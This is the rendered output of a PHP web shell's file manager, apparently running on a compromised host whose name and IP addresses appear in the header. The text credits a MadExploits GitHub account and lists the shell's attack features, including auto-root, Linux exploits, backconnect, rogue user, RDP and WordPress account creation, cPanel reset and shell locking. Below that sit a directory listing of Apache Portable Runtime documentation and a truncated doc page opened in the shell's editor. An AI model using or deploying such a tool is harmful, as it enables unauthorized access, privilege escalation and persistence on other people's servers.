Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
apr-devel-1.6.2 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
search
[ DIR ]
drwxr-xr-x
annotated.html
10.39
KB
-rw-r--r--
apr_8h.html
67.47
KB
-rw-r--r--
apr_8h_source.html
104.97
KB
-rw-r--r--
apr__allocator_8h.html
15.51
KB
-rw-r--r--
apr__allocator_8h_source.html
43.65
KB
-rw-r--r--
apr__atomic_8h.html
10.77
KB
-rw-r--r--
apr__atomic_8h_source.html
31.57
KB
-rw-r--r--
apr__cstr_8h.html
13.38
KB
-rw-r--r--
apr__cstr_8h_source.html
59.29
KB
-rw-r--r--
apr__dso_8h.html
9.62
KB
-rw-r--r--
apr__dso_8h_source.html
23.62
KB
-rw-r--r--
apr__env_8h.html
7.77
KB
-rw-r--r--
apr__env_8h_source.html
18.3
KB
-rw-r--r--
apr__errno_8h.html
91.9
KB
-rw-r--r--
apr__errno_8h_source.html
245.56
KB
-rw-r--r--
apr__escape_8h.html
19.73
KB
-rw-r--r--
apr__escape_8h_source.html
84.97
KB
-rw-r--r--
apr__escape__test__char_8h_sou...
9.54
KB
-rw-r--r--
apr__file__info_8h.html
44.72
KB
-rw-r--r--
apr__file__info_8h_source.html
109.17
KB
-rw-r--r--
apr__file__io_8h.html
66.41
KB
-rw-r--r--
apr__file__io_8h_source.html
210.29
KB
-rw-r--r--
apr__fnmatch_8h.html
9.78
KB
-rw-r--r--
apr__fnmatch_8h_source.html
32.69
KB
-rw-r--r--
apr__general_8h.html
12.88
KB
-rw-r--r--
apr__general_8h_source.html
47.17
KB
-rw-r--r--
apr__getopt_8h.html
10.13
KB
-rw-r--r--
apr__getopt_8h_source.html
42.44
KB
-rw-r--r--
apr__global__mutex_8h.html
13.54
KB
-rw-r--r--
apr__global__mutex_8h_source.h...
41.93
KB
-rw-r--r--
apr__hash_8h.html
18.87
KB
-rw-r--r--
apr__hash_8h_source.html
61.12
KB
-rw-r--r--
apr__inherit_8h.html
10.49
KB
-rw-r--r--
apr__inherit_8h_source.html
13.46
KB
-rw-r--r--
apr__lib_8h.html
15.84
KB
-rw-r--r--
apr__lib_8h_source.html
47.76
KB
-rw-r--r--
apr__mmap_8h.html
12.37
KB
-rw-r--r--
apr__mmap_8h_source.html
38.35
KB
-rw-r--r--
apr__network__io_8h.html
53.78
KB
-rw-r--r--
apr__network__io_8h_source.htm...
197.97
KB
-rw-r--r--
apr__perms__set_8h.html
8.35
KB
-rw-r--r--
apr__perms__set_8h_source.html
17.88
KB
-rw-r--r--
apr__poll_8h.html
26.86
KB
-rw-r--r--
apr__poll_8h_source.html
103.48
KB
-rw-r--r--
apr__pools_8h.html
33.73
KB
-rw-r--r--
apr__pools_8h_source.html
155.74
KB
-rw-r--r--
apr__portable_8h.html
35.47
KB
-rw-r--r--
apr__portable_8h_source.html
130.87
KB
-rw-r--r--
apr__proc__mutex_8h.html
15.72
KB
-rw-r--r--
apr__proc__mutex_8h_source.htm...
45.04
KB
-rw-r--r--
apr__random_8h.html
14.78
KB
-rw-r--r--
apr__random_8h_source.html
35.38
KB
-rw-r--r--
apr__ring_8h.html
18.56
KB
-rw-r--r--
apr__ring_8h_source.html
86.27
KB
-rw-r--r--
apr__shm_8h.html
14.65
KB
-rw-r--r--
apr__shm_8h_source.html
49.04
KB
-rw-r--r--
apr__signal_8h.html
9.03
KB
-rw-r--r--
apr__signal_8h_source.html
25.44
KB
-rw-r--r--
apr__skiplist_8h.html
27.09
KB
-rw-r--r--
apr__skiplist_8h_source.html
86.24
KB
-rw-r--r--
apr__strings_8h.html
16.97
KB
-rw-r--r--
apr__strings_8h_source.html
76.93
KB
-rw-r--r--
apr__support_8h.html
6.8
KB
-rw-r--r--
apr__support_8h_source.html
15.74
KB
-rw-r--r--
apr__tables_8h.html
27.8
KB
-rw-r--r--
apr__tables_8h_source.html
106.98
KB
-rw-r--r--
apr__thread__cond_8h.html
11.62
KB
-rw-r--r--
apr__thread__cond_8h_source.ht...
34.18
KB
-rw-r--r--
apr__thread__mutex_8h.html
11.94
KB
-rw-r--r--
apr__thread__mutex_8h_source.h...
28
KB
-rw-r--r--
apr__thread__proc_8h.html
58.08
KB
-rw-r--r--
apr__thread__proc_8h_source.ht...
193.39
KB
-rw-r--r--
apr__thread__rwlock_8h.html
11.75
KB
-rw-r--r--
apr__thread__rwlock_8h_source....
31.75
KB
-rw-r--r--
apr__time_8h.html
21.87
KB
-rw-r--r--
apr__time_8h_source.html
56.45
KB
-rw-r--r--
apr__user_8h.html
12.61
KB
-rw-r--r--
apr__user_8h_source.html
36.29
KB
-rw-r--r--
apr__version_8h.html
24.02
KB
-rw-r--r--
apr__version_8h_source.html
34.22
KB
-rw-r--r--
apr__want_8h.html
6.36
KB
-rw-r--r--
apr__want_8h_source.html
23
KB
-rw-r--r--
bc_s.png
676
B
-rw-r--r--
bdwn.png
147
B
-rw-r--r--
bug.html
9.25
KB
-rw-r--r--
classes.html
8.08
KB
-rw-r--r--
closed.png
132
B
-rw-r--r--
deprecated.html
11.51
KB
-rw-r--r--
dir_47ab2aa5b94fb8f65103c173b2...
5.55
KB
-rw-r--r--
dir_4bd6cd521a56a9f4d924ab2d33...
5.61
KB
-rw-r--r--
dir_a4fd7f16abbe32b73833244217...
5.52
KB
-rw-r--r--
dir_d44c64559bbebec7f509842c48...
24.09
KB
-rw-r--r--
doxygen.css
23.29
KB
-rw-r--r--
doxygen.png
3.69
KB
-rw-r--r--
dynsections.js
2.91
KB
-rw-r--r--
files.html
18.53
KB
-rw-r--r--
ftv2blank.png
86
B
-rw-r--r--
ftv2cl.png
453
B
-rw-r--r--
ftv2doc.png
746
B
-rw-r--r--
ftv2folderclosed.png
616
B
-rw-r--r--
ftv2folderopen.png
597
B
-rw-r--r--
ftv2lastnode.png
86
B
-rw-r--r--
ftv2link.png
746
B
-rw-r--r--
ftv2mlastnode.png
246
B
-rw-r--r--
ftv2mnode.png
246
B
-rw-r--r--
ftv2mo.png
403
B
-rw-r--r--
ftv2node.png
86
B
-rw-r--r--
ftv2ns.png
388
B
-rw-r--r--
ftv2plastnode.png
229
B
-rw-r--r--
ftv2pnode.png
229
B
-rw-r--r--
ftv2splitbar.png
314
B
-rw-r--r--
ftv2vertline.png
86
B
-rw-r--r--
functions.html
20.74
KB
-rw-r--r--
functions_func.html
5.54
KB
-rw-r--r--
functions_vars.html
20.5
KB
-rw-r--r--
globals.html
151.85
KB
-rw-r--r--
globals_0x68.html
6.1
KB
-rw-r--r--
globals_defs.html
63.58
KB
-rw-r--r--
globals_defs_0x68.html
5.97
KB
-rw-r--r--
globals_enum.html
6.87
KB
-rw-r--r--
globals_eval.html
13.12
KB
-rw-r--r--
globals_func.html
75.26
KB
-rw-r--r--
globals_type.html
15.52
KB
-rw-r--r--
globals_vars.html
5.81
KB
-rw-r--r--
group___a_p_r.html
15.92
KB
-rw-r--r--
group___a_p_r___e_r_r_o_r__map...
5.87
KB
-rw-r--r--
group___a_p_r___error.html
87.84
KB
-rw-r--r--
group___a_p_r___global_mutex.h...
25.64
KB
-rw-r--r--
group___a_p_r___o_c.html
9.98
KB
-rw-r--r--
group___a_p_r___s_t_a_t_u_s___...
92.26
KB
-rw-r--r--
group___a_p_r___strings___snpr...
10.31
KB
-rw-r--r--
group___a_p_r___util___escapin...
64.2
KB
-rw-r--r--
group___i_p___proto.html
7.51
KB
-rw-r--r--
group___pool_cleanup.html
20.99
KB
-rw-r--r--
group___pool_debug.html
13.43
KB
-rw-r--r--
group__apr__allocator.html
26.47
KB
-rw-r--r--
group__apr__atomic.html
21.28
KB
-rw-r--r--
group__apr__cstr.html
34.38
KB
-rw-r--r--
group__apr__ctype.html
18.55
KB
-rw-r--r--
group__apr__dir.html
13.04
KB
-rw-r--r--
group__apr__dso.html
15.21
KB
-rw-r--r--
group__apr__env.html
11.25
KB
-rw-r--r--
group__apr__errno.html
35.19
KB
-rw-r--r--
group__apr__file__attrs__set__...
7.6
KB
-rw-r--r--
group__apr__file__info.html
14
KB
-rw-r--r--
group__apr__file__io.html
153.63
KB
-rw-r--r--
group__apr__file__lock__types....
8.56
KB
-rw-r--r--
group__apr__file__open__flags....
36.62
KB
-rw-r--r--
group__apr__file__permissions....
32.42
KB
-rw-r--r--
group__apr__file__seek__flags....
7.5
KB
-rw-r--r--
group__apr__file__stat.html
27.14
KB
-rw-r--r--
group__apr__file__writev.html
6.11
KB
-rw-r--r--
group__apr__filepath.html
31.09
KB
-rw-r--r--
group__apr__fnmatch.html
16.85
KB
-rw-r--r--
group__apr__general.html
14.97
KB
-rw-r--r--
group__apr__getopt.html
18.95
KB
-rw-r--r--
group__apr__hash.html
47.1
KB
-rw-r--r--
group__apr__lib.html
18.73
KB
-rw-r--r--
group__apr__library.html
11.81
KB
-rw-r--r--
group__apr__mcast.html
16.63
KB
-rw-r--r--
group__apr__mmap.html
20.44
KB
-rw-r--r--
group__apr__network__io.html
119.24
KB
-rw-r--r--
group__apr__os__dso.html
9.76
KB
-rw-r--r--
group__apr__os__thread.html
17.1
KB
-rw-r--r--
group__apr__perms__set.html
11.33
KB
-rw-r--r--
group__apr__platform.html
71.68
KB
-rw-r--r--
group__apr__poll.html
64.65
KB
-rw-r--r--
group__apr__pools.html
75
KB
-rw-r--r--
group__apr__portabile.html
68.28
KB
-rw-r--r--
group__apr__proc__mutex.html
30.89
KB
-rw-r--r--
group__apr__random.html
28.05
KB
-rw-r--r--
group__apr__ring.html
81.88
KB
-rw-r--r--
group__apr__shm.html
33.96
KB
-rw-r--r--
group__apr__signal.html
12.75
KB
-rw-r--r--
group__apr__skiplist.html
72.52
KB
-rw-r--r--
group__apr__sockopt.html
18.61
KB
-rw-r--r--
group__apr__strings.html
47.11
KB
-rw-r--r--
group__apr__support.html
7.74
KB
-rw-r--r--
group__apr__tables.html
78.7
KB
-rw-r--r--
group__apr__thread__cond.html
21.02
KB
-rw-r--r--
group__apr__thread__mutex.html
19.5
KB
-rw-r--r--
group__apr__thread__proc.html
152.06
KB
-rw-r--r--
group__apr__thread__rwlock.htm...
20.79
KB
-rw-r--r--
group__apr__time.html
45.58
KB
-rw-r--r--
group__apr__user.html
25.95
KB
-rw-r--r--
group__pollflags.html
8.67
KB
-rw-r--r--
group__pollopts.html
9.6
KB
-rw-r--r--
index.html
4.91
KB
-rw-r--r--
jquery.js
102.24
KB
-rw-r--r--
modules.html
24.46
KB
-rw-r--r--
nav_f.png
153
B
-rw-r--r--
nav_g.png
108
B
-rw-r--r--
nav_h.png
98
B
-rw-r--r--
open.png
123
B
-rw-r--r--
pages.html
5.44
KB
-rw-r--r--
sha2_8h_source.html
14.99
KB
-rw-r--r--
struct___s_h_a256___c_t_x.html
6.69
KB
-rw-r--r--
structapr__array__header__t.ht...
9.69
KB
-rw-r--r--
structapr__crypto__hash__t.htm...
7.51
KB
-rw-r--r--
structapr__finfo__t.html
19.84
KB
-rw-r--r--
structapr__getopt__option__t.h...
8.91
KB
-rw-r--r--
structapr__getopt__t.html
14.62
KB
-rw-r--r--
structapr__hdtr__t.html
8.85
KB
-rw-r--r--
structapr__memnode__t.html
11.06
KB
-rw-r--r--
structapr__mmap__t.html
9.86
KB
-rw-r--r--
structapr__os__proc__mutex__t....
8.97
KB
-rw-r--r--
structapr__os__sock__info__t.h...
10.52
KB
-rw-r--r--
structapr__pollfd__t.html
10.58
KB
-rw-r--r--
structapr__proc__t.html
11.36
KB
-rw-r--r--
structapr__sockaddr__t.html
17.18
KB
-rw-r--r--
structapr__table__entry__t.htm...
8.16
KB
-rw-r--r--
structapr__time__exp__t.html
13.73
KB
-rw-r--r--
structapr__version__t.html
8.61
KB
-rw-r--r--
structapr__vformatter__buff__t...
7.43
KB
-rw-r--r--
sync_off.png
853
B
-rw-r--r--
sync_on.png
845
B
-rw-r--r--
tab_a.png
142
B
-rw-r--r--
tab_b.png
169
B
-rw-r--r--
tab_h.png
177
B
-rw-r--r--
tab_s.png
184
B
-rw-r--r--
tabs.css
1.14
KB
-rw-r--r--
unionapr__descriptor.html
7.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : group__apr__file__open__flags.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.5"/> <title>Apache Portable Runtime: File Open Flags/Routines</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">Apache Portable Runtime </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.5 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="annotated.html"><span>Data Structures</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> </div><!-- top --> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Macros</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark"> </span>Groups</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(10)"><span class="SelectionMark"> </span>Pages</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="header"> <div class="summary"> <a href="#define-members">Macros</a> </div> <div class="headertitle"> <div class="title">File Open Flags/Routines<div class="ingroups"><a class="el" href="group__apr__file__io.html">File I/O Handling Functions</a></div></div> </div> </div><!--header--> <div class="contents"> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="define-members"></a> Macros</h2></td></tr> <tr class="memitem:gaf9e7303f028b130ff7d4b209d6662d7d"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gaf9e7303f028b130ff7d4b209d6662d7d">APR_FOPEN_READ</a>   0x00001</td></tr> <tr class="separator:gaf9e7303f028b130ff7d4b209d6662d7d"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gac598bb95fc9476b0bf2ed0b1c308842c"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gac598bb95fc9476b0bf2ed0b1c308842c">APR_FOPEN_WRITE</a>   0x00002</td></tr> <tr class="separator:gac598bb95fc9476b0bf2ed0b1c308842c"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gafe94f21ccbf411172e70e7f473af251a"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gafe94f21ccbf411172e70e7f473af251a">APR_FOPEN_CREATE</a>   0x00004</td></tr> <tr class="separator:gafe94f21ccbf411172e70e7f473af251a"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga45f353db9b71d4760a3f35cf3781cfc8"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga45f353db9b71d4760a3f35cf3781cfc8">APR_FOPEN_APPEND</a>   0x00008</td></tr> <tr class="separator:ga45f353db9b71d4760a3f35cf3781cfc8"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga09b05a5bd5db534b93794f7657bcb146"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga09b05a5bd5db534b93794f7657bcb146">APR_FOPEN_TRUNCATE</a>   0x00010</td></tr> <tr class="separator:ga09b05a5bd5db534b93794f7657bcb146"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gacb20b3028864f34cb26314fe2cacc3fa"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gacb20b3028864f34cb26314fe2cacc3fa">APR_FOPEN_BINARY</a>   0x00020</td></tr> <tr class="separator:gacb20b3028864f34cb26314fe2cacc3fa"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gabb7fb062cdf1d58faee8c7ea518496f1"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gabb7fb062cdf1d58faee8c7ea518496f1">APR_FOPEN_EXCL</a>   0x00040</td></tr> <tr class="separator:gabb7fb062cdf1d58faee8c7ea518496f1"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gac48fd4c853c9f561632a2e8aaf5d8d97"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gac48fd4c853c9f561632a2e8aaf5d8d97">APR_FOPEN_BUFFERED</a>   0x00080</td></tr> <tr class="separator:gac48fd4c853c9f561632a2e8aaf5d8d97"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga5d3756f6d242c667ed1d3f54af4916eb"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga5d3756f6d242c667ed1d3f54af4916eb">APR_FOPEN_DELONCLOSE</a>   0x00100</td></tr> <tr class="separator:ga5d3756f6d242c667ed1d3f54af4916eb"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga435cd9b2604b11796779c23ffa00a3dd"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga435cd9b2604b11796779c23ffa00a3dd">APR_FOPEN_XTHREAD</a>   0x00200</td></tr> <tr class="separator:ga435cd9b2604b11796779c23ffa00a3dd"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga426f6e2a8457ab410d99248269059a18"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga426f6e2a8457ab410d99248269059a18">APR_FOPEN_SHARELOCK</a>   0x00400</td></tr> <tr class="separator:ga426f6e2a8457ab410d99248269059a18"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga3fc9b5a7791d9f462997cd29de67eb80"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga3fc9b5a7791d9f462997cd29de67eb80">APR_FOPEN_NOCLEANUP</a>   0x00800</td></tr> <tr class="separator:ga3fc9b5a7791d9f462997cd29de67eb80"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga60c21e28e4a612d58a874fe2cc71a6e4"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga60c21e28e4a612d58a874fe2cc71a6e4">APR_FOPEN_SENDFILE_ENABLED</a>   0x01000</td></tr> <tr class="separator:ga60c21e28e4a612d58a874fe2cc71a6e4"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaf6cfaa4789e6264afd186235f0adbc22"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gaf6cfaa4789e6264afd186235f0adbc22">APR_FOPEN_LARGEFILE</a>   0x04000</td></tr> <tr class="separator:gaf6cfaa4789e6264afd186235f0adbc22"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga0d155e9bb7fbf1a5cd4e84b5ede059f4"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga0d155e9bb7fbf1a5cd4e84b5ede059f4">APR_FOPEN_SPARSE</a>   0x08000</td></tr> <tr class="separator:ga0d155e9bb7fbf1a5cd4e84b5ede059f4"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga31e4d14068147e43e1778bcf975dda62"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga31e4d14068147e43e1778bcf975dda62">APR_FOPEN_NONBLOCK</a>   0x40000</td></tr> <tr class="separator:ga31e4d14068147e43e1778bcf975dda62"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga0021db78d799d1c8825b701c7efee483"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga0021db78d799d1c8825b701c7efee483">APR_READ</a>   <a class="el" href="group__apr__file__open__flags.html#gaf9e7303f028b130ff7d4b209d6662d7d">APR_FOPEN_READ</a></td></tr> <tr class="separator:ga0021db78d799d1c8825b701c7efee483"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga3e427e53aceb1ccdb078d9a03cd63d01"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga3e427e53aceb1ccdb078d9a03cd63d01">APR_WRITE</a>   <a class="el" href="group__apr__file__open__flags.html#gac598bb95fc9476b0bf2ed0b1c308842c">APR_FOPEN_WRITE</a></td></tr> <tr class="separator:ga3e427e53aceb1ccdb078d9a03cd63d01"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gac210e96bc821dbaa83c326e775dad028"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gac210e96bc821dbaa83c326e775dad028">APR_CREATE</a>   <a class="el" href="group__apr__file__open__flags.html#gafe94f21ccbf411172e70e7f473af251a">APR_FOPEN_CREATE</a></td></tr> <tr class="separator:gac210e96bc821dbaa83c326e775dad028"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga26d3de2bae5c90e5124869f56c141c2e"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga26d3de2bae5c90e5124869f56c141c2e">APR_APPEND</a>   <a class="el" href="group__apr__file__open__flags.html#ga45f353db9b71d4760a3f35cf3781cfc8">APR_FOPEN_APPEND</a></td></tr> <tr class="separator:ga26d3de2bae5c90e5124869f56c141c2e"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaa8898fdebd69d3a64286731b713a6dc9"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gaa8898fdebd69d3a64286731b713a6dc9">APR_TRUNCATE</a>   <a class="el" href="group__apr__file__open__flags.html#ga09b05a5bd5db534b93794f7657bcb146">APR_FOPEN_TRUNCATE</a></td></tr> <tr class="separator:gaa8898fdebd69d3a64286731b713a6dc9"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga0e7556bac0cc0d1dafdf38952a4e4015"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga0e7556bac0cc0d1dafdf38952a4e4015">APR_BINARY</a>   <a class="el" href="group__apr__file__open__flags.html#gacb20b3028864f34cb26314fe2cacc3fa">APR_FOPEN_BINARY</a></td></tr> <tr class="separator:ga0e7556bac0cc0d1dafdf38952a4e4015"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga209c26b2b903cc23417f6781d4edf891"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga209c26b2b903cc23417f6781d4edf891">APR_EXCL</a>   <a class="el" href="group__apr__file__open__flags.html#gabb7fb062cdf1d58faee8c7ea518496f1">APR_FOPEN_EXCL</a></td></tr> <tr class="separator:ga209c26b2b903cc23417f6781d4edf891"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga6edc818199e8b90e3dabf97c42a27158"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga6edc818199e8b90e3dabf97c42a27158">APR_BUFFERED</a>   <a class="el" href="group__apr__file__open__flags.html#gac48fd4c853c9f561632a2e8aaf5d8d97">APR_FOPEN_BUFFERED</a></td></tr> <tr class="separator:ga6edc818199e8b90e3dabf97c42a27158"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaebc7f034a72dffe64858b1b9451994ff"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gaebc7f034a72dffe64858b1b9451994ff">APR_DELONCLOSE</a>   <a class="el" href="group__apr__file__open__flags.html#ga5d3756f6d242c667ed1d3f54af4916eb">APR_FOPEN_DELONCLOSE</a></td></tr> <tr class="separator:gaebc7f034a72dffe64858b1b9451994ff"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaa9120c0e395d8a0e640b5eafa8f11cce"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#gaa9120c0e395d8a0e640b5eafa8f11cce">APR_XTHREAD</a>   <a class="el" href="group__apr__file__open__flags.html#ga435cd9b2604b11796779c23ffa00a3dd">APR_FOPEN_XTHREAD</a></td></tr> <tr class="separator:gaa9120c0e395d8a0e640b5eafa8f11cce"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga41277154f4f754a22287ed90e9466811"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga41277154f4f754a22287ed90e9466811">APR_SHARELOCK</a>   <a class="el" href="group__apr__file__open__flags.html#ga426f6e2a8457ab410d99248269059a18">APR_FOPEN_SHARELOCK</a></td></tr> <tr class="separator:ga41277154f4f754a22287ed90e9466811"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga3ef1061dbb3adf595701bd12edb062f9"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__file__open__flags.html#ga3ef1061dbb3adf595701bd12edb062f9">APR_FILE_NOCLEANUP</a>   <a class="el" href="group__apr__file__open__flags.html#ga3fc9b5a7791d9f462997cd29de67eb80">APR_FOPEN_NOCLEANUP</a></td></tr> <tr class="separator:ga3ef1061dbb3adf595701bd12edb062f9"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga17e216aadb23254580258889e10c53f3"><td class="memItemLeft" align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" 